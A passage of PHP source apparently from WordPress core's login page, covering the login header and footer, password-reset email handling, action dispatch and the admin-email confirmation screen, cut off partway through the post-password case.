		__( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' )
	);

	$login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title;

	/**
	 * Filters the link text of the header logo above the login form.
	 *
	 * @since 5.2.0
	 *
	 * @param string $login_header_text The login header logo link text.
	 */
	$login_header_text = apply_filters( 'login_headertext', $login_header_text );

	$classes = array( 'login-action-' . $action, 'wp-core-ui' );

	if ( is_rtl() ) {
		$classes[] = 'rtl';
	}

	if ( $interim_login ) {
		$classes[] = 'interim-login';

		?>
		<style type="text/css">html{background-color: transparent;}</style>
		<?php

		if ( 'success' === $interim_login ) {
			$classes[] = 'interim-login-success';
		}
	}

	$classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );

	/**
	 * Filters the login page body classes.
	 *
	 * @since 3.5.0
	 *
	 * @param array  $classes An array of body classes.
	 * @param string $action  The action that brought the visitor to the login page.
	 */
	$classes = apply_filters( 'login_body_class', $classes, $action );

	?>
	</head>
	<body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
	<script type="text/javascript">
		document.body.className = document.body.className.replace('no-js','js');
	</script>
	<?php
	/**
	 * Fires in the login page header after the body tag is opened.
	 *
	 * @since 4.6.0
	 */
	do_action( 'login_header' );

	?>
	<div id="login">
		<h1><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1>
	<?php
	/**
	 * Filters the message to display above the login form.
	 *
	 * @since 2.1.0
	 *
	 * @param string $message Login message text.
	 */
	$message = apply_filters( 'login_message', $message );

	if ( ! empty( $message ) ) {
		echo $message . "\n";
	}

	// In case a plugin uses $error rather than the $wp_errors object.
	if ( ! empty( $error ) ) {
		$wp_error->add( 'error', $error );
		unset( $error );
	}

	if ( $wp_error->has_errors() ) {
		$errors   = '';
		$messages = '';

		foreach ( $wp_error->get_error_codes() as $code ) {
			$severity = $wp_error->get_error_data( $code );
			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
				if ( 'message' === $severity ) {
					$messages .= '	' . $error_message . "<br />\n";
				} else {
					$errors .= '	' . $error_message . "<br />\n";
				}
			}
		}

		if ( ! empty( $errors ) ) {
			/**
			 * Filters the error messages displayed above the login form.
			 *
			 * @since 2.1.0
			 *
			 * @param string $errors Login error message.
			 */
			echo '<div id="login_error">' . apply_filters( 'login_errors', $errors ) . "</div>\n";
		}

		if ( ! empty( $messages ) ) {
			/**
			 * Filters instructional messages displayed above the login form.
			 *
			 * @since 2.5.0
			 *
			 * @param string $messages Login messages.
			 */
			echo '<p class="message">' . apply_filters( 'login_messages', $messages ) . "</p>\n";
		}
	}
} // End of login_header().

/**
 * Outputs the footer for the login page.
 *
 * @since 3.1.0
 *
 * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success'
 *                                    upon successful login.
 *
 * @param string $input_id Which input to auto-focus.
 */
function login_footer( $input_id = '' ) {
	global $interim_login;

	// Don't allow interim logins to navigate away from the page.
	if ( ! $interim_login ) {
		?>
		<p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>">
		<?php

		/* translators: %s: Site title. */
		printf( _x( '&larr; Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) );

		?>
		</a></p>
		<?php

		the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' );
	}

	?>
	</div><?php // End of <div id="login">. ?>

	<?php

	if ( ! empty( $input_id ) ) {
		?>
		<script type="text/javascript">
		try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
		if(typeof wpOnload=='function')wpOnload();
		</script>
		<?php
	}

	/**
	 * Fires in the login page footer.
	 *
	 * @since 3.1.0
	 */
	do_action( 'login_footer' );

	?>
	<div class="clear"></div>
	</body>
	</html>
	<?php
}

/**
 * Outputs the Javascript to handle the form shaking on the login page.
 *
 * @since 3.0.0
 */
function wp_shake_js() {
	?>
	<script type="text/javascript">
	document.querySelector('form').classList.add('shake');
	</script>
	<?php
}

/**
 * Outputs the viewport meta tag for the login page.
 *
 * @since 3.7.0
 */
function wp_login_viewport_meta() {
	?>
	<meta name="viewport" content="width=device-width" />
	<?php
}

/**
 * Handles sending a password retrieval email to a user.
 *
 * @since 2.5.0
 *
 * @return true|WP_Error True when finished, WP_Error object on error.
 */
function retrieve_password() {
	$errors    = new WP_Error();
	$user_data = false;

	if ( empty( $_POST['user_login'] ) || ! is_string( $_POST['user_login'] ) ) {
		$errors->add( 'empty_username', __( '<strong>Error</strong>: Please enter a username or email address.' ) );
	} elseif ( strpos( $_POST['user_login'], '@' ) ) {
		$user_data = get_user_by( 'email', trim( wp_unslash( $_POST['user_login'] ) ) );
		if ( empty( $user_data ) ) {
			$errors->add( 'invalid_email', __( '<strong>Error</strong>: There is no account with that username or email address.' ) );
		}
	} else {
		$login     = trim( wp_unslash( $_POST['user_login'] ) );
		$user_data = get_user_by( 'login', $login );
	}

	/**
	 * Fires before errors are returned from a password reset request.
	 *
	 * @since 2.1.0
	 * @since 4.4.0 Added the `$errors` parameter.
	 * @since 5.4.0 Added the `$user_data` parameter.
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	do_action( 'lostpassword_post', $errors, $user_data );

	/**
	 * Filters the errors encountered on a password reset request.
	 *
	 * The filtered WP_Error object may, for example, contain errors for an invalid
	 * username or email address. A WP_Error object should always be returned,
	 * but may or may not contain errors.
	 *
	 * If any errors are present in $errors, this will abort the password reset request.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error      $errors    A WP_Error object containing any errors generated
	 *                                 by using invalid credentials.
	 * @param WP_User|false $user_data WP_User object if found, false if the user does not exist.
	 */
	$errors = apply_filters( 'lostpassword_errors', $errors, $user_data );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( ! $user_data ) {
		$errors->add( 'invalidcombo', __( '<strong>Error</strong>: There is no account with that username or email address.' ) );
		return $errors;
	}

	// Redefining user_login ensures we return the right case in the email.
	$user_login = $user_data->user_login;
	$user_email = $user_data->user_email;
	$key        = get_password_reset_key( $user_data );

	if ( is_wp_error( $key ) ) {
		return $key;
	}

	if ( is_multisite() ) {
		$site_name = get_network()->site_name;
	} else {
		/*
		 * The blogname option is escaped with esc_html on the way into the database
		 * in sanitize_option. We want to reverse this for the plain text arena of emails.
		 */
		$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	}

	$message = __( 'Someone has requested a password reset for the following account:' ) . "\r\n\r\n";
	/* translators: %s: Site name. */
	$message .= sprintf( __( 'Site Name: %s' ), $site_name ) . "\r\n\r\n";
	/* translators: %s: User login. */
	$message .= sprintf( __( 'Username: %s' ), $user_login ) . "\r\n\r\n";
	$message .= __( 'If this was a mistake, ignore this email and nothing will happen.' ) . "\r\n\r\n";
	$message .= __( 'To reset your password, visit the following address:' ) . "\r\n\r\n";
	$message .= network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user_login ), 'login' ) . "\r\n\r\n";

	$requester_ip = $_SERVER['REMOTE_ADDR'];
	if ( $requester_ip ) {
		$message .= sprintf(
			/* translators: %s: IP address of password reset requester. */
			__( 'This password reset request originated from the IP address %s.' ),
			$requester_ip
		) . "\r\n";
	}

	/* translators: Password reset notification email subject. %s: Site title. */
	$title = sprintf( __( '[%s] Password Reset' ), $site_name );

	/**
	 * Filters the subject of the password reset email.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $title      Email subject.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );

	/**
	 * Filters the message body of the password reset mail.
	 *
	 * If the filtered message is empty, the password reset email will not be sent.
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
	 *
	 * @param string  $message    Email message.
	 * @param string  $key        The activation key.
	 * @param string  $user_login The username for the user.
	 * @param WP_User $user_data  WP_User object.
	 */
	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );

	if ( $message && ! wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) ) {
		$errors->add(
			'retrieve_password_email_failure',
			sprintf(
				/* translators: %s: Documentation URL. */
				__( '<strong>Error</strong>: The email could not be sent. Your site may not be correctly configured to send emails. <a href="%s">Get support for resetting your password</a>.' ),
				esc_url( __( 'https://wordpress.org/support/article/resetting-your-password/' ) )
			)
		);
		return $errors;
	}

	return true;
}

//
// Main.
//

$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset( $_GET['key'] ) ) {
	$action = 'resetpass';
}

if ( isset( $_GET['checkemail'] ) ) {
	$action = 'checkemail';
}

$default_actions = array(
	'confirm_admin_email',
	'postpass',
	'logout',
	'lostpassword',
	'retrievepassword',
	'resetpass',
	'rp',
	'register',
	'checkemail',
	'confirmaction',
	'login',
	WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED,
);

// Validate action so as to default to the login screen.
if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) {
	$action = 'login';
}

nocache_headers();

header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) );

if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set.
	if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) {
		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
	}

	$url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );

	if ( get_option( 'siteurl' ) !== $url ) {
		update_option( 'siteurl', $url );
	}
}

// Set a cookie now to see if they are supported by the browser.
$secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );

if ( SITECOOKIEPATH !== COOKIEPATH ) {
	setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
}

/**
 * Fires when the login form is initialized.
 *
 * @since 3.2.0
 */
do_action( 'login_init' );

/**
 * Fires before a specified login form action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the action
 * that brought the visitor to the login form. Actions include 'postpass',
 * 'logout', 'lostpassword', etc.
 *
 * @since 2.8.0
 */
do_action( "login_form_{$action}" );

$http_post     = ( 'POST' === $_SERVER['REQUEST_METHOD'] );
$interim_login = isset( $_REQUEST['interim-login'] );

/**
 * Filters the separator used between login form navigation links.
 *
 * @since 4.9.0
 *
 * @param string $login_link_separator The separator used between login form navigation links.
 */
$login_link_separator = apply_filters( 'login_link_separator', ' | ' );

switch ( $action ) {

	case 'confirm_admin_email':
		/*
		 * Note that `is_user_logged_in()` will return false immediately after logging in
		 * as the current user is not set, see wp-includes/pluggable.php.
		 * However this action runs on a redirect after logging in.
		 */
		if ( ! is_user_logged_in() ) {
			wp_safe_redirect( wp_login_url() );
			exit;
		}

		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect_to = $_REQUEST['redirect_to'];
		} else {
			$redirect_to = admin_url();
		}

		if ( current_user_can( 'manage_options' ) ) {
			$admin_email = get_option( 'admin_email' );
		} else {
			wp_safe_redirect( $redirect_to );
			exit;
		}

		/**
		 * Filters the interval for dismissing the admin email confirmation screen.
		 *
		 * If `0` (zero) is returned, the "Remind me later" link will not be displayed.
		 *
		 * @since 5.3.1
		 *
		 * @param int $interval Interval time (in seconds). Default is 3 days.
		 */
		$remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS );

		if ( ! empty( $_GET['remind_me_later'] ) ) {
			if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			if ( $remind_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $remind_interval );
			}

			$redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to );
			wp_safe_redirect( $redirect_to );
			exit;
		}

		if ( ! empty( $_POST['correct-admin-email'] ) ) {
			if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) {
				wp_safe_redirect( wp_login_url() );
				exit;
			}

			/**
			 * Filters the interval for redirecting the user to the admin email confirmation screen.
			 *
			 * If `0` (zero) is returned, the user will not be redirected.
			 *
			 * @since 5.3.0
			 *
			 * @param int $interval Interval time (in seconds). Default is 6 months.
			 */
			$admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS );

			if ( $admin_email_check_interval > 0 ) {
				update_option( 'admin_email_lifespan', time() + $admin_email_check_interval );
			}

			wp_safe_redirect( $redirect_to );
			exit;
		}

		login_header( __( 'Confirm your administration email' ), '', $errors );

		/**
		 * Fires before the admin email confirm form.
		 *
		 * @since 5.3.0
		 *
		 * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid
		 *                         credentials. Note that the error object may not contain any errors.
		 */
		do_action( 'admin_email_confirm', $errors );

		?>

		<form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post">
			<?php
			/**
			 * Fires inside the admin-email-confirm-form form tags, before the hidden fields.
			 *
			 * @since 5.3.0
			 */
			do_action( 'admin_email_confirm_form' );

			wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' );

			?>
			<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />

			<h1 class="admin-email__heading">
				<?php _e( 'Administration email verification' ); ?>
			</h1>
			<p class="admin-email__details">
				<?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?>
				<?php

				/* translators: URL to the WordPress help section about admin email. */
				$admin_email_help_url = __( 'https://wordpress.org/support/article/settings-general-screen/#email-address' );

				/* translators: Accessibility text. */
				$accessibility_text = sprintf( '<span class="screen-reader-text"> %s</span>', __( '(opens in a new tab)' ) );

				printf(
					'<a href="%s" rel="noopener" target="_blank">%s%s</a>',
					esc_url( $admin_email_help_url ),
					__( 'Why is this important?' ),
					$accessibility_text
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php

				printf(
					/* translators: %s: Admin email address. */
					__( 'Current administration email: %s' ),
					'<strong>' . esc_html( $admin_email ) . '</strong>'
				);

				?>
			</p>
			<p class="admin-email__details">
				<?php _e( 'This email may be different from your personal email address.' ); ?>
			</p>

			<div class="admin-email__actions">
				<div class="admin-email__actions-primary">
					<?php

					$change_link = admin_url( 'options-general.php' );
					$change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link );

					?>
					<a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a>
					<input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" />
				</div>
				<?php if ( $remind_interval > 0 ) : ?>
					<div class="admin-email__actions-secondary">
						<?php

						$remind_me_link = wp_login_url( $redirect_to );
						$remind_me_link = add_query_arg(
							array(
								'action'          => 'confirm_admin_email',
								'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ),
							),
							$remind_me_link
						);

						?>
						<a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a>
					</div>
				<?php endif; ?>
			</div>
		</form>

		<?php

		login_footer();
		break;

	case 'postpass':
		if ( ! array_key_exists( 'post_password', $_POST ) ) {
			wp_safe_redirect( wp_get_referer() );
			exit;
		}

		require_once ABSPATH . WPINC . '/class-phpass.php';
		$hasher = new PasswordHash( 8, true );

		/**
		 * Filters the life span of the post password cookie.
		 *
		 * By default, the cookie expires 10 days from creation. To turn this
		 * into a session cookie, return 0.
		 *
		 * @since 3.7.0
		 *
		 * @param int $expires The expiry time, as passed to setcookie().
		 */
		$expire  = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
		$referer = wp_get_referer();

		if ( $referer ) {
			$secure = ( 